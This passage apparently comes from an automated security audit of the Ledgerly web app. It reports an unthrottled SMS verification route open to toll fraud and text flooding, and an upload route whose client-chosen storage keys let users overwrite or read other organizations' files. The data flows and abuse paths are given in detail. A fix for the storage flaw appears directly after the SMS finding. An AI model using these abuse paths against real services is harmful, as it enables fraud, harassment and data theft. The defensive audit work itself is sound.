• Transformations: none. No session check, no per-phone/IP/day limit, no cooldown, no CAPTCHA, no country allowlist
• Sink: sendSms (route.ts:21) to the gateway that "bills every 160-character segment to Ledgerly's account" (src/lib/sms.ts:5-14); plus one verification row per call (route.ts:14-19), never pruned, earlier codes for the same number are not invalidated
• Sanitization: none. Better-Auth rateLimit (src/lib/auth.ts:33) only runs inside the Better-Auth handler at /api/auth/*, not this route. src/proxy.ts matcher (:15-22) does not cover /api/*. The per-org SMS cap (sms-actions.ts:10,23-36, non-concurrency-402) applies only to sendSmsReminder
• Verdict: VULNERABLE

Impact

Anyone on the internet can POST to /api/phone/send-code in a loop with arbitrary numbers, including premium-rate ones, and Ledgerly pays for every SMS (SMS pumping / toll fraud); the same call lets anyone flood a chosen phone with texts from "Ledgerly" and grows the verification table without bound. Not CRITICAL: financial and harassment impact, no data loss or code execution.

Regression test

proof: static — test written at .security-audit/tests/rate-limit-102.test.ts (mocks @/lib/sms and @/db; asserts the 4th send to one number within the window is refused before sendSms is called), but not executed: node_modules absent and install forbidden by audit rules.

How to fix

Generate the key on the server (${orgId}/${projectId}/${uuid}) and ignore any client key; in the download route also check that doc.s3Key starts with the caller's org prefix. Docs also claim the opposite: README.md:34 ("presigned URLs scoped to your organization").

Evidence

• File: src/app/api/uploads/route.ts:13,23-37; read path src/app/api/documents/[id]/download/route.ts:15-31
• Code:

key: z.string().min(1),                                                            // :13
const url = await getSignedUrl(s3, new PutObjectCommand({ Bucket: BUCKET, Key: input.key, ContentType: input.contentType }), { expiresIn: 900 });
await db.insert(documents).values({ id, orgId, projectId: input.projectId, s3Key: input.key, ... });
// download: .where(and(eq(documents.id, id), eq(documents.orgId, orgId)))  then GetObjectCommand({ Key: doc.s3Key })

Data flow

• Source: request body key (uploads/route.ts:13, parsed :21); any session with an active org (:17-19), and anyone can create an org (auth.ts:39)
• Transformations: none; no orgId/ prefix forced, no check that the key is unused or belongs to the caller
• Sink: (1) presigned PUT for that exact key in the shared bucket (:23-27); (2) documents.s3Key = key in the caller's own org (:33), which the download route turns into a presigned GET after checking only that the *row* belongs to the caller (download/route.ts:18,22-30)
• Sanitization: none
• Verdict: VULNERABLE

Impact

A signed-in member of any organization can overwrite any object in the documents bucket whose key they know, and can read it by registering their own document row with the victim's key and downloading it. Keys of documents attached to public projects are sent to anonymous visitors by /p/[slug] (the whole documents rows reach the client component, exposure-101), and objects of deleted orgs stay in the bucket (exposure-415), so known keys are not hypothetical.

Regression test

proof: static. .security-audit/tests/upload-401.upload-key-server-side.test.ts mocks the presigner and asserts a client-supplied foreign key is never presigned and the presigned key starts with the caller's org prefix; not executed (node_modules absent, install forbidden). No storage is contacted.

Chained with

• exposure-101 (key disclosure), exposure-415, auth-403, upload-402, chain-902